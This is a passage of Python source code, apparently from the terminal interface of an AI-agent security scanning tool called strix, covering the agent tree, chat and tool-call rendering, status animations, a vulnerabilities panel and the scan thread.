agents_tree.guide_style = \"dashed\"\n\n            stats_display = Static(\"\", id=\"stats_display\")\n            stats_scroll = VerticalScroll(stats_display, id=\"stats_scroll\")\n\n            vulnerabilities_panel = VulnerabilitiesPanel(id=\"vulnerabilities_panel\")\n\n            sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id=\"sidebar\")\n\n            content_container.mount(chat_area_container)\n            content_container.mount(sidebar)\n\n            chat_area_container.mount(chat_history)\n            chat_area_container.mount(agent_status_display)\n            chat_area_container.mount(chat_input_container)\n\n            self.call_after_refresh(self._focus_chat_input)\n\n    def _focus_chat_input(self) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        try:\n            chat_input = self.query_one(\"#chat_input\", ChatTextArea)\n            chat_input.show_vertical_scrollbar = False\n            chat_input.show_horizontal_scrollbar = False\n            chat_input.focus()\n        except (ValueError, Exception):\n            self.call_after_refresh(self._focus_chat_input)\n\n    def _focus_agents_tree(self) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        try:\n            agents_tree = self.query_one(\"#agents_tree\", Tree)\n            agents_tree.focus()\n\n            if agents_tree.root.children:\n                first_node = agents_tree.root.children[0]\n                agents_tree.select_node(first_node)\n        except (ValueError, Exception):\n            self.call_after_refresh(self._focus_agents_tree)\n\n    def on_mount(self) -> None:\n        self.title = \"strix\"\n\n        self.set_timer(4.5, self._hide_splash_screen)\n\n    def _hide_splash_screen(self) -> None:\n        self.show_splash = False\n\n        self._start_scan_thread()\n\n        self.set_interval(0.35, self._update_ui_from_tracer)\n\n    def _update_ui_from_tracer(self) -> None:\n        if self.show_splash:\n            return\n\n        if len(self.screen_stack) > 1:\n            return\n\n        if not self.is_mounted:\n            return\n\n        try:\n            chat_history = self.query_one(\"#chat_history\", VerticalScroll)\n            agents_tree = self.query_one(\"#agents_tree\", Tree)\n\n            if not self._is_widget_safe(chat_history) or not self._is_widget_safe(agents_tree):\n                return\n        except (ValueError, Exception):\n            return\n\n        agent_updates = False\n        for agent_id, agent_data in list(self.tracer.agents.items()):\n            if agent_id not in self._displayed_agents:\n                self._add_agent_node(agent_data)\n                self._displayed_agents.add(agent_id)\n                agent_updates = True\n            elif self._update_agent_node(agent_id, agent_data):\n                agent_updates = True\n\n        if agent_updates:\n            self._expand_new_agent_nodes()\n\n        self._update_chat_view()\n\n        self._update_agent_status_display()\n\n        self._update_stats_display()\n\n        self._update_vulnerabilities_panel()\n\n    def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool:\n        if agent_id not in self.agent_nodes:\n            return False\n\n        try:\n            agent_node = self.agent_nodes[agent_id]\n            agent_name_raw = agent_data.get(\"name\", \"Agent\")\n            status = agent_data.get(\"status\", \"running\")\n\n            status_indicators = {\n                \"running\": \"⚪\",\n                \"waiting\": \"⏸\",\n                \"completed\": \"🟢\",\n                \"failed\": \"🔴\",\n                \"stopped\": \"■\",\n                \"stopping\": \"○\",\n                \"llm_failed\": \"🔴\",\n            }\n\n            status_icon = status_indicators.get(status, \"○\")\n            vuln_count = self._agent_vulnerability_count(agent_id)\n            vuln_indicator = f\" ({vuln_count})\" if vuln_count > 0 else \"\"\n            agent_name = f\"{status_icon} {agent_name_raw}{vuln_indicator}\"\n\n            if agent_node.label != agent_name:\n                agent_node.set_label(agent_name)\n                return True\n\n        except (KeyError, AttributeError, ValueError) as e:\n            import logging\n\n            logging.warning(f\"Failed to update agent node label: {e}\")\n\n        return False\n\n    def _get_chat_content(\n        self,\n    ) -> tuple[Any, str | None]:\n        if not self.selected_agent_id:\n            return self._get_chat_placeholder_content(\n                \"Select an agent from the tree to see its activity.\", \"placeholder-no-agent\"\n            )\n\n        events = self._gather_agent_events(self.selected_agent_id)\n        streaming = self.tracer.get_streaming_content(self.selected_agent_id)\n\n        if not events and not streaming:\n            return self._get_chat_placeholder_content(\n                \"Starting agent...\", \"placeholder-no-activity\"\n            )\n\n        current_event_ids = [e[\"id\"] for e in events]\n        current_streaming_len = len(streaming) if streaming else 0\n        last_streaming_len = self._last_streaming_len.get(self.selected_agent_id, 0)\n\n        if (\n            current_event_ids == self._displayed_events\n            and current_streaming_len == last_streaming_len\n        ):\n            return None, None\n\n        self._displayed_events = current_event_ids\n        self._last_streaming_len[self.selected_agent_id] = current_streaming_len\n        return self._get_rendered_events_content(events), \"chat-content\"\n\n    def _update_chat_view(self) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash or not self.is_mounted:\n            return\n\n        try:\n            chat_history = self.query_one(\"#chat_history\", VerticalScroll)\n        except (ValueError, Exception):\n            return\n\n        if not self._is_widget_safe(chat_history):\n            return\n\n        try:\n            is_at_bottom = chat_history.scroll_y >= chat_history.max_scroll_y\n        except (AttributeError, ValueError):\n            is_at_bottom = True\n\n        content, css_class = self._get_chat_content()\n        if content is None:\n            return\n\n        chat_display = self.query_one(\"#chat_display\", Static)\n        self._safe_widget_operation(chat_display.update, content)\n        chat_display.set_classes(css_class)\n\n        if is_at_bottom:\n            self.call_later(chat_history.scroll_end, animate=False)\n\n    def _get_chat_placeholder_content(\n        self, message: str, placeholder_class: str\n    ) -> tuple[Text, str]:\n        self._displayed_events = [placeholder_class]\n        text = Text()\n        text.append(message)\n        return text, f\"chat-placeholder {placeholder_class}\"\n\n    @staticmethod\n    def _merge_renderables(renderables: list[Any]) -> Text:\n        \"\"\"Merge renderables into a single Text for mouse text selection support.\"\"\"\n        combined = Text()\n        for i, item in enumerate(renderables):\n            if i > 0:\n                combined.append(\"\\n\")\n            StrixTUIApp._append_renderable(combined, item)\n        return StrixTUIApp._sanitize_text(combined)\n\n    @staticmethod\n    def _sanitize_text(text: Text) -> Text:\n        \"\"\"Clamp spans so Rich/Textual can't crash on malformed offsets.\"\"\"\n        plain = text.plain\n        text_length = len(plain)\n        sanitized_spans: list[Span] = []\n\n        for span in text.spans:\n            start = max(0, min(span.start, text_length))\n            end = max(0, min(span.end, text_length))\n            if end > start:\n                sanitized_spans.append(Span(start, end, span.style))\n\n        return Text(\n            plain,\n            style=text.style,\n            justify=text.justify,\n            overflow=text.overflow,\n            no_wrap=text.no_wrap,\n            end=text.end,\n            tab_size=text.tab_size,\n            spans=sanitized_spans,\n        )\n\n    @staticmethod\n    def _append_renderable(combined: Text, item: Any) -> None:\n        \"\"\"Recursively append a renderable's text content to a combined Text.\"\"\"\n        if isinstance(item, Text):\n            combined.append_text(StrixTUIApp._sanitize_text(item))\n        elif isinstance(item, Group):\n            for j, sub in enumerate(item.renderables):\n                if j > 0:\n                    combined.append(\"\\n\")\n                StrixTUIApp._append_renderable(combined, sub)\n        else:\n            inner = getattr(item, \"renderable\", None)\n            if inner is not None:\n                StrixTUIApp._append_renderable(combined, inner)\n            else:\n                combined.append(str(item))\n\n    def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> Any:\n        renderables: list[Any] = []\n\n        if not events:\n            return Text()\n\n        for event in events:\n            content: Any = None\n\n            if event[\"type\"] == \"chat\":\n                content = self._render_chat_content(event[\"data\"])\n            elif event[\"type\"] == \"tool\":\n                content = self._render_tool_content_simple(event[\"data\"])\n\n            if content:\n                if renderables:\n                    renderables.append(Text(\"\"))\n                renderables.append(content)\n\n        if self.selected_agent_id:\n            streaming = self.tracer.get_streaming_content(self.selected_agent_id)\n            if streaming:\n                streaming_text = self._render_streaming_content(streaming)\n                if streaming_text:\n                    if renderables:\n                        renderables.append(Text(\"\"))\n                    renderables.append(streaming_text)\n\n        if not renderables:\n            return Text()\n\n        if len(renderables) == 1 and isinstance(renderables[0], Text):\n            return self._sanitize_text(renderables[0])\n\n        return self._merge_renderables(renderables)\n\n    def _render_streaming_content(self, content: str, agent_id: str | None = None) -> Any:\n        cache_key = agent_id or self.selected_agent_id or \"\"\n        content_len = len(content)\n\n        if cache_key in self._streaming_render_cache:\n            cached_len, cached_output = self._streaming_render_cache[cache_key]\n            if cached_len == content_len:\n                return cached_output\n\n        renderables: list[Any] = []\n        segments = parse_streaming_content(content)\n\n        for segment in segments:\n            if segment.type == \"text\":\n                text_content = AgentMessageRenderer.render_simple(segment.content)\n                if renderables:\n                    renderables.append(Text(\"\"))\n                renderables.append(text_content)\n\n            elif segment.type == \"tool\":\n                tool_renderable = self._render_streaming_tool(\n                    segment.tool_name or \"unknown\",\n                    segment.args or {},\n                    segment.is_complete,\n                )\n                if renderables:\n                    renderables.append(Text(\"\"))\n                renderables.append(tool_renderable)\n\n        if not renderables:\n            result = Text()\n        elif len(renderables) == 1 and isinstance(renderables[0], Text):\n            result = self._sanitize_text(renderables[0])\n        else:\n            result = self._merge_renderables(renderables)\n\n        self._streaming_render_cache[cache_key] = (content_len, result)\n        return result\n\n    def _render_streaming_tool(\n        self, tool_name: str, args: dict[str, str], is_complete: bool\n    ) -> Any:\n        tool_data = {\n            \"tool_name\": tool_name,\n            \"args\": args,\n            \"status\": \"completed\" if is_complete else \"running\",\n            \"result\": None,\n        }\n\n        renderer = get_tool_renderer(tool_name)\n        if renderer:\n            widget = renderer.render(tool_data)\n            return widget.renderable\n\n        return self._render_default_streaming_tool(tool_name, args, is_complete)\n\n    def _render_default_streaming_tool(\n        self, tool_name: str, args: dict[str, str], is_complete: bool\n    ) -> Text:\n        text = Text()\n\n        if is_complete:\n            text.append(\"✓ \", style=\"green\")\n        else:\n            text.append(\"● \", style=\"yellow\")\n\n        text.append(\"Using tool \", style=\"dim\")\n        text.append(tool_name, style=\"bold blue\")\n\n        if args:\n            for key, value in list(args.items())[:3]:\n                text.append(\"\\n  \")\n                text.append(key, style=\"dim\")\n                text.append(\": \")\n                display_value = value if len(value) <= 100 else value[:97] + \"...\"\n                text.append(display_value, style=\"italic\" if not is_complete else None)\n\n        return text\n\n    def _get_status_display_content(\n        self, agent_id: str, agent_data: dict[str, Any]\n    ) -> tuple[Text | None, Text, bool]:\n        status = agent_data.get(\"status\", \"running\")\n\n        def keymap_styled(keys: list[tuple[str, str]]) -> Text:\n            t = Text()\n            for i, (key, action) in enumerate(keys):\n                if i > 0:\n                    t.append(\" · \", style=\"dim\")\n                t.append(key, style=\"white\")\n                t.append(\" \", style=\"dim\")\n                t.append(action, style=\"dim\")\n            return t\n\n        simple_statuses: dict[str, tuple[str, str]] = {\n            \"stopping\": (\"Agent stopping...\", \"\"),\n            \"stopped\": (\"Agent stopped\", \"\"),\n            \"completed\": (\"Agent completed\", \"\"),\n        }\n\n        if status in simple_statuses:\n            msg, _ = simple_statuses[status]\n            text = Text()\n            text.append(msg)\n            return (text, Text(), False)\n\n        if status == \"llm_failed\":\n            error_msg = agent_data.get(\"error_message\", \"\")\n            text = Text()\n            if error_msg:\n                text.append(error_msg, style=\"red\")\n            else:\n                text.append(\"LLM request failed\", style=\"red\")\n            self._stop_dot_animation()\n            keymap = Text()\n            keymap.append(\"Send message to retry\", style=\"dim\")\n            return (text, keymap, False)\n\n        if status == \"waiting\":\n            keymap = Text()\n            keymap.append(\"Send message to resume\", style=\"dim\")\n            return (Text(\" \"), keymap, False)\n\n        if status == \"running\":\n            if self._agent_has_real_activity(agent_id):\n                animated_text = Text()\n                animated_text.append_text(self._get_sweep_animation(self._sweep_colors))\n                animated_text.append(\"esc\", style=\"white\")\n                animated_text.append(\" \", style=\"dim\")\n                animated_text.append(\"stop\", style=\"dim\")\n                return (animated_text, keymap_styled([(\"ctrl-q\", \"quit\")]), True)\n            animated_text = self._get_animated_verb_text(agent_id, \"Initializing\")\n            return (animated_text, keymap_styled([(\"ctrl-q\", \"quit\")]), True)\n\n        return (None, Text(), False)\n\n    def _update_agent_status_display(self) -> None:\n        try:\n            status_display = self.query_one(\"#agent_status_display\", Horizontal)\n            status_text = self.query_one(\"#status_text\", Static)\n            keymap_indicator = self.query_one(\"#keymap_indicator\", Static)\n        except (ValueError, Exception):\n            return\n\n        widgets = [status_display, status_text, keymap_indicator]\n        if not all(self._is_widget_safe(w) for w in widgets):\n            return\n\n        if not self.selected_agent_id:\n            self._safe_widget_operation(status_display.add_class, \"hidden\")\n            return\n\n        try:\n            agent_data = self.tracer.agents[self.selected_agent_id]\n            content, keymap, should_animate = self._get_status_display_content(\n                self.selected_agent_id, agent_data\n            )\n\n            if not content:\n                self._safe_widget_operation(status_display.add_class, \"hidden\")\n                return\n\n            self._safe_widget_operation(status_text.update, content)\n            self._safe_widget_operation(keymap_indicator.update, keymap)\n            self._safe_widget_operation(status_display.remove_class, \"hidden\")\n\n            if should_animate:\n                self._start_dot_animation()\n\n        except (KeyError, Exception):\n            self._safe_widget_operation(status_display.add_class, \"hidden\")\n\n    def _update_stats_display(self) -> None:\n        try:\n            stats_display = self.query_one(\"#stats_display\", Static)\n        except (ValueError, Exception):\n            return\n\n        if not self._is_widget_safe(stats_display):\n            return\n\n        if self.screen.selections:\n            return\n\n        stats_content = Text()\n\n        stats_text = build_tui_stats_text(self.tracer, self.agent_config)\n        if stats_text:\n            stats_content.append(stats_text)\n\n        version = get_package_version()\n        stats_content.append(f\"\\nv{version}\", style=\"white\")\n\n        self._safe_widget_operation(stats_display.update, stats_content)\n\n    def _update_vulnerabilities_panel(self) -> None:\n        \"\"\"Update the vulnerabilities panel with current vulnerability data.\"\"\"\n        try:\n            vuln_panel = self.query_one(\"#vulnerabilities_panel\", VulnerabilitiesPanel)\n        except (ValueError, Exception):\n            return\n\n        if not self._is_widget_safe(vuln_panel):\n            return\n\n        vulnerabilities = self.tracer.vulnerability_reports\n\n        if not vulnerabilities:\n            self._safe_widget_operation(vuln_panel.add_class, \"hidden\")\n            return\n\n        enriched_vulns = []\n        for vuln in vulnerabilities:\n            enriched = dict(vuln)\n            report_id = vuln.get(\"id\", \"\")\n            agent_name = self._get_agent_name_for_vulnerability(report_id)\n            if agent_name:\n                enriched[\"agent_name\"] = agent_name\n            enriched_vulns.append(enriched)\n\n        self._safe_widget_operation(vuln_panel.remove_class, \"hidden\")\n        vuln_panel.update_vulnerabilities(enriched_vulns)\n\n    def _get_agent_name_for_vulnerability(self, report_id: str) -> str | None:\n        \"\"\"Find the agent name that created a vulnerability report.\"\"\"\n        for _exec_id, tool_data in list(self.tracer.tool_executions.items()):\n            if tool_data.get(\"tool_name\") == \"create_vulnerability_report\":\n                result = tool_data.get(\"result\", {})\n                if isinstance(result, dict) and result.get(\"report_id\") == report_id:\n                    agent_id = tool_data.get(\"agent_id\")\n                    if agent_id and agent_id in self.tracer.agents:\n                        name: str = self.tracer.agents[agent_id].get(\"name\", \"Unknown Agent\")\n                        return name\n        return None\n\n    def _get_sweep_animation(self, color_palette: list[str]) -> Text:\n        text = Text()\n        num_squares = self._sweep_num_squares\n        num_colors = len(color_palette)\n\n        offset = num_colors - 1\n        max_pos = (num_squares - 1) + offset\n        total_range = max_pos + offset\n        cycle_length = total_range * 2\n        frame_in_cycle = self._spinner_frame_index % cycle_length\n\n        wave_pos = total_range - abs(total_range - frame_in_cycle)\n        sweep_pos = wave_pos - offset\n\n        dot_color = \"#0a3d1f\"\n\n        for i in range(num_squares):\n            dist = abs(i - sweep_pos)\n            color_idx = max(0, num_colors - 1 - dist)\n\n            if color_idx == 0:\n                text.append(\"·\", style=Style(color=dot_color))\n            else:\n                color = color_palette[color_idx]\n                text.append(\"▪\", style=Style(color=color))\n\n        text.append(\" \")\n        return text\n\n    def _get_animated_verb_text(self, agent_id: str, verb: str) -> Text:  # noqa: ARG002\n        text = Text()\n        sweep = self._get_sweep_animation(self._sweep_colors)\n        text.append_text(sweep)\n        parts = verb.split(\" \", 1)\n        text.append(parts[0], style=\"white\")\n        if len(parts) > 1:\n            text.append(\" \", style=\"dim\")\n            text.append(parts[1], style=\"dim\")\n        return text\n\n    def _start_dot_animation(self) -> None:\n        if self._dot_animation_timer is None:\n            self._dot_animation_timer = self.set_interval(0.06, self._animate_dots)\n\n    def _stop_dot_animation(self) -> None:\n        if self._dot_animation_timer is not None:\n            self._dot_animation_timer.stop()\n            self._dot_animation_timer = None\n\n    def _animate_dots(self) -> None:\n        has_active_agents = False\n\n        if self.selected_agent_id and self.selected_agent_id in self.tracer.agents:\n            agent_data = self.tracer.agents[self.selected_agent_id]\n            status = agent_data.get(\"status\", \"running\")\n            if status in [\"running\", \"waiting\"]:\n                has_active_agents = True\n                num_colors = len(self._sweep_colors)\n                offset = num_colors - 1\n                max_pos = (self._sweep_num_squares - 1) + offset\n                total_range = max_pos + offset\n                cycle_length = total_range * 2\n                self._spinner_frame_index = (self._spinner_frame_index + 1) % cycle_length\n                self._update_agent_status_display()\n\n        if not has_active_agents:\n            has_active_agents = any(\n                agent_data.get(\"status\", \"running\") in [\"running\", \"waiting\"]\n                for agent_data in self.tracer.agents.values()\n            )\n\n        if not has_active_agents:\n            self._stop_dot_animation()\n            self._spinner_frame_index = 0\n\n    def _agent_has_real_activity(self, agent_id: str) -> bool:\n        initial_tools = {\"scan_start_info\", \"subagent_start_info\"}\n\n        for _exec_id, tool_data in list(self.tracer.tool_executions.items()):\n            if tool_data.get(\"agent_id\") == agent_id:\n                tool_name = tool_data.get(\"tool_name\", \"\")\n                if tool_name not in initial_tools:\n                    return True\n\n        streaming = self.tracer.get_streaming_content(agent_id)\n        return bool(streaming and streaming.strip())\n\n    def _agent_vulnerability_count(self, agent_id: str) -> int:\n        count = 0\n        for _exec_id, tool_data in list(self.tracer.tool_executions.items()):\n            if tool_data.get(\"agent_id\") == agent_id:\n                tool_name = tool_data.get(\"tool_name\", \"\")\n                if tool_name == \"create_vulnerability_report\":\n                    status = tool_data.get(\"status\", \"\")\n                    if status == \"completed\":\n                        result = tool_data.get(\"result\", {})\n                        if isinstance(result, dict) and result.get(\"success\"):\n                            count += 1\n        return count\n\n    def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]:\n        chat_events = [\n            {\n                \"type\": \"chat\",\n                \"timestamp\": msg[\"timestamp\"],\n                \"id\": f\"chat_{msg['message_id']}\",\n                \"data\": msg,\n            }\n            for msg in self.tracer.chat_messages\n            if msg.get(\"agent_id\") == agent_id\n        ]\n\n        tool_events = [\n            {\n                \"type\": \"tool\",\n                \"timestamp\": tool_data[\"timestamp\"],\n                \"id\": f\"tool_{exec_id}\",\n                \"data\": tool_data,\n            }\n            for exec_id, tool_data in list(self.tracer.tool_executions.items())\n            if tool_data.get(\"agent_id\") == agent_id\n        ]\n\n        events = chat_events + tool_events\n        events.sort(key=lambda e: (e[\"timestamp\"], e[\"id\"]))\n        return events\n\n    def watch_selected_agent_id(self, _agent_id: str | None) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        self._displayed_events.clear()\n        self._streaming_render_cache.clear()\n        self._last_streaming_len.clear()\n\n        self.call_later(self._update_chat_view)\n        self._update_agent_status_display()\n\n    def _start_scan_thread(self) -> None:\n        def scan_target() -> None:\n            try:\n                loop = asyncio.new_event_loop()\n                asyncio.set_event_loop(loop)\n\n                try:\n                    agent = StrixAgent(self.agent_config)\n\n                    if not self._scan_stop_event.is_set():\n                        loop.run_until_complete(agent.execute_scan(self.scan_config))\n\n                except (KeyboardInterrupt, asyncio.CancelledError):\n                    logging.info(\"Scan interrupted by user\")\n                except (ConnectionError, TimeoutError):\n                    logging.exception(\"Network error during scan\")\n                except RuntimeError:\n                    logging.exception(\"Runtime error during scan\")\n                except Exception:\n                    logging.exception(\"Unexpected error during scan\")\n                finally:\n                    loop.close()\n                    self._scan_completed.set()\n\n            except Exception:\n                logging.exception(\"Error setting up scan thread\")\n                self._scan_completed.set()\n\n        self._scan_thread = threading.Thread(target=scan_target, daemon=True)\n        self._scan_thread.start()\n\n    def _add_agent_node(self, agent_data: dict[str, Any]) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        agent_id = agent_data[\"id\"]\n        parent_id = agent_data.get(\"parent_id\")\n        status = agent_data.get(\"status\", \"running\")\n\n        try:\n            agents_tree = self.query_one(\"#agents_tree\", Tree)\n        except (ValueError, Exception):\n            return\n\n        agent_name_raw = agent_data.get(\"name\", \"Agent\")\n\n        status_indicators = {\n            \"running\": \"⚪\",\n            \"waiting\": \"⏸\",\n            \"completed\": \"🟢\",\n            \"failed\": \"🔴\",\n            \"stopped\": \"■\",\n            \"stopping\": \"○\",\n            \"llm_failed\": \"🔴\",\n        }\n\n        status_icon = status_indicators.get(status, \"○\")\n        vuln_count = self._agent_vulnerability_count(agent_id)\n        vuln_indicator = f\" ({vuln_count})\" if vuln_count > 0 else \"\"\n        agent_name = f\"{status_icon} {agent_name_raw}{vuln_indicator}\"\n\n        try:\n            if parent_id and parent_id in self.agent_nodes:\n                parent_node = self.agent_nodes[parent_id]\n                agent_node = parent_node.add(\n                    agent_name,\n                    data={\"agent_id\": agent_id},\n                )\n                parent_node.allow_expand = True\n            else:\n                agent_node = agents_tree.root.add(\n                    agent_name,\n                    data={\"agent_id\": agent_id},\n                )\n\n            agent_node.allow_expand = False\n            agent_node.expand()\n            self.agent_nodes[agent_id] = agent_node\n\n            if len(self.agent_nodes) == 1:\n                agents_tree.select_node(agent_node)\n                self.selected_agent_id = agent_id\n\n            self._reorganize_orphaned_agents(agent_id)\n        except (AttributeError, ValueError, RuntimeError) as e:\n            import logging\n\n            logging.warning(f\"Failed to add agent node {agent_id}: {e}\")\n\n    def _expand_new_agent_nodes(self) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n    def _expand_all_agent_nodes(self) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        try:\n            agents_tree = self.query_one(\"#agents_tree\", Tree)\n            self._expand_node_recursively(agents_tree.root)\n        except (ValueError, Exception):\n            logging.debug(\"Tree not ready for expanding nodes\")\n\n    def _expand_node_recursively(self, node: TreeNode) -> None:\n        if not node.is_expanded:\n            node.expand()\n        for child in node.children:\n            self._expand_node_recursively(child)\n\n    def _copy_node_under(self, node_to_copy: TreeNode, new_parent: TreeNode) -> None:\n        agent_id = node_to_copy.data[\"agent_id\"]\n        agent_data = self.tracer.agents.get(agent_id, {})\n        agent_name_raw = agent_data.get(\"name\", \"Agent\")\n        status = agent_data.get(\"status\", \"running\")\n\n        status_indicators = {\n            \"running\": \"⚪\",\n            \"waiting\": \"⏸\",\n            \"completed\": \"🟢\",\n            \"failed\": \"🔴\",\n            \"stopped\": \"■\",\n            \"stopping\": \"○\",\n            \"llm_failed\": \"🔴\",\n        }\n\n        status_icon = status_indicators.get(status, \"○\")\n        vuln_count = self._agent_vulnerability_count(agent_id)\n        vuln_indicator = f\" ({vuln_count})\" if vuln_count > 0 else \"\"\n        agent_name = f\"{status_icon} {agent_name_raw}{vuln_indicator}\"\n\n        new_node = new_parent.add(\n            agent_name,\n            data=node_to_copy.data,\n        )\n        new_node.allow_expand = node_to_copy.allow_expand\n\n        self.agent_nodes[agent_id] = new_node\n\n        for child in node_to_copy.children:\n            self._copy_node_under(child, new_node)\n\n        if node_to_copy.is_expanded:\n            new_node.expand()\n\n    def _reorganize_orphaned_agents(self, new_parent_id: str) -> None:\n        agents_to_move = []\n\n        for agent_id, agent_data in list(self.tracer.agents.items()):\n            if (\n                agent_data.get(\"parent_id\") == new_parent_id\n                and agent_id in self.agent_nodes\n                and agent_id != new_parent_id\n            ):\n                agents_to_move.append(agent_id)\n\n        if not agents_to_move:\n            return\n\n        parent_node = self.agent_nodes[new_parent_id]\n\n        for child_agent_id in agents_to_move:\n            if child_agent_id in self.agent_nodes:\n                old_node = self.agent_nodes[child_agent_id]\n\n                if old_node.parent is parent_node:\n                    continue\n\n                self._copy_node_under(old_node, parent_node)\n\n                old_node.remove()\n\n        parent_node.allow_expand = True\n        parent_node.expand()\n\n    def _render_chat_content(self, msg_data: dict[str, Any]) -> Any:\n        role = msg_data.get(\"role\")\n        content = msg_data.get(\"content\", \"\")\n        metadata = msg_data.get(\"metadata\", {})\n\n        if not content:\n            return None\n\n        if role == \"user\":\n            return UserMessageRenderer.render_simple(content)\n\n        if metadata.get(\"interrupted\"):\n            streaming_result = self._render_streaming_content(content)\n            interrupted_text = Text()\n            interrupted_text.append(\"\\n\")\n            interrupted_text.append(\"⚠ \", style=\"yellow\")\n            interrupted_text.append(\"Interrupted by user\", style=\"yellow dim\")\n            return self._merge_renderables([streaming_result, interrupted_text])\n\n        return AgentMessageRenderer.render_simple(content)\n\n    def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> Any:\n        tool_name = tool_data.get(\"tool_name\", \"Unknown Tool\")\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n        result = tool_data.get(\"result\")\n\n        renderer = get_tool_renderer(tool_name)\n\n        if renderer:\n            widget = renderer.render(tool_data)\n            return widget.renderable\n\n        text = Text()\n\n        if tool_name in (\"llm_error_details\", \"sandbox_error_details\"):\n            return self._render_error_details(text, tool_name, args)\n\n        text.append(\"→ Using tool \")\n        text.append(tool_name, style=\"bold blue\")\n\n        status_styles = {\n            \"running\": (\"●\", \"yellow\"),\n            \"completed\": (\"✓\", \"green\"),\n            \"failed\": (\"✗\", \"red\"),\n            \"error\": (\"✗\", \"red\"),\n        }\n        icon, style = status_styles.get(status, (\"○\", \"dim\"))\n        text.append(\" \")\n        text.append(icon, style=style)\n\n        if args:\n            for k, v in list(args.items())[:5]:\n                str_v = str(v)\n                if len(str_v) > 500:\n                    str_v = str_v[:497] + \"...\"\n                text.append(\"\\n  \")\n                text.append(k, style=\"dim\")\n                text.append(\": \")\n                text.append(str_v)\n\n        if status in [\"completed\", \"failed\", \"error\"] and result:\n            result_str = str(result)\n            if len(result_str) > 1000:\n                result_str = result_str[:997] + \"...\"\n            text.append(\"\\n\")\n            text.append(\"Result: \", style=\"bold\")\n            text.append(result_str)\n\n        return text\n\n    def _render_error_details(self, text: Any, tool_name: str, args: dict[str, Any]) -> Any:\n        if tool_name == \"llm_error_details\":\n            text.append(\"✗ LLM Request Failed\", style=\"red\")\n        else:\n            text.append(\"✗ Sandbox Initialization Failed\", style=\"red\")\n            if args.get(\"error\"):\n                text.append(f\"\\n{args['error']}\", style=\"bold red\")\n        if args.get(\"details\"):\n            details = str(args[\"details\"])\n            if len(details) > 1000:\n                details = details[:997] + \"...\"\n            text.append(\"\\nDetails: \", style=\"dim\")\n            text.append(details)\n        return text\n\n    @on(Tree.NodeHighlighted)  # type: ignore[misc]\n    def handle_tree_highlight(self, event: Tree.NodeHighlighted) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        node = event.node\n\n        try:\n            agents_tree = self.query_one(\"#agents_tree\", Tree)\n        except (ValueError, Exception):\n            return\n\n        if self.focused == agents_tree and node.data:\n            agent_id = node.data.get(\"agent_id\")\n            if agent_id:\n                self.selected_agent_id = agent_id\n\n    @on(Tree.NodeSelected)  # type: ignore[misc]\n    def handle_tree_node_selected(self, event: Tree.NodeSelected) -> None:\n        if len(self.screen_stack) > 1 or self.show_splash:\n            return\n\n        if not self.is_mounted:\n            return\n\n        node = event.node\n\n        if node.allow_expand:\n            if node.is_expanded:\n                node.collapse()\n            else:\n                node.expand()\n\n    def _send_user_message(self, message: str) -> None:\n        if not self.selected_agent_id:\n            return\n\n        if self.tracer:\n            streaming_content = self.tracer.get_streaming_content(self.selected_agent_id)\n            if streaming_content and streaming_content.strip():\n                self.tracer.clear_streaming_content(self.selected_agent_id)\n                self.tracer.interrupted_content[self.selected_agent_id] = streaming_content\n                self.tracer.log_chat_message(\n                    content=streaming_content,\n                    role=\"assistant\",\n                    agent_id=self.selected_agent_id,\n                    metadata={\"interrupted\": True},\n                )\n\n        try:\n            from strix.tools.agents_graph.agents_graph_actions import _agent_instances\n\n            if self.selected_agent_id in _agent_instances:\n                agent_instance = _agent_instances[self.selected_agent_id]\n                if hasattr(agent_instance, \"cancel_current_execution\"):\n                    agent_instance.cancel_current_execution()\n        except (ImportError, AttributeError, KeyError):\n            pass\n\n        if self.tracer:\n            self.tracer.log_chat_message(\n                content=message,\n                role=\"user\",\n                agent_id=self.selected_agent_id,\n            )\n\n        try:\n            from strix.tools.agents_graph.agents_graph_actions import send_user_message_to_agent\n\n            send_user_message_to_agent(self.selected_agent_id, message)\n\n        except (ImportError, AttributeError) as e:\n            import logging\n\n            logging.warning(f\"Failed to send message to agent {self.selected_agent_id}: {e}\")\n\n        self._displayed_events.clear()\n        self._update_chat_view()\n\n        self.call_after_refresh(self._focus_chat_input)\n\n    def _get_agent_name(self, agent_id: str) -> str:\n        try:\n            if self.tracer and agent_id in self.tracer.agents:\n                agent_name = self.tracer.agents[agent_id].get(\"name\")\n                if isinstance(agent_name, str):\n                    return agent_name\n        except (KeyError, AttributeError) as e:\n            logging.warning(f\"Could not retrieve agent name for {agent_id}: {e}\")\n        return \"Unknown Agent\"\n\n    def action_toggle_help(self) -> None:\n        if self.show_splash or not self.is_mounted:\n            return\n\n        try:\n            self.query_one(\"#main_container\")\n        except (ValueError, Exception):\n            return\n\n        if isinstance(self.screen, HelpScreen):\n            self.pop_screen()\n            return\n\n        if len(self.screen_stack) > 1:\n            return\n\n        self.push_screen(HelpScreen())\n\n    def action_request_quit(self) -> None:\n        if self.show_splash or not self.is_mounted:\n            self.action_custom_quit()\n            return\n\n        if len(self.screen_stack) > 1:\n            return\n\n        try:\n            self.query_one(\"#main_container\")\n        except (ValueError, Exception):\n            self.action_custom_quit()\n            return\n\n        self.push_screen(QuitScreen())\n\n    def action_stop_selected_agent(self) -> None:\n        if self.show_splash or not self.is_mounted:\n            return\n\n        if len(self.screen_stack) > 1:\n            self.pop_screen()\n            return\n\n        if not self.selected_agent_id:\n            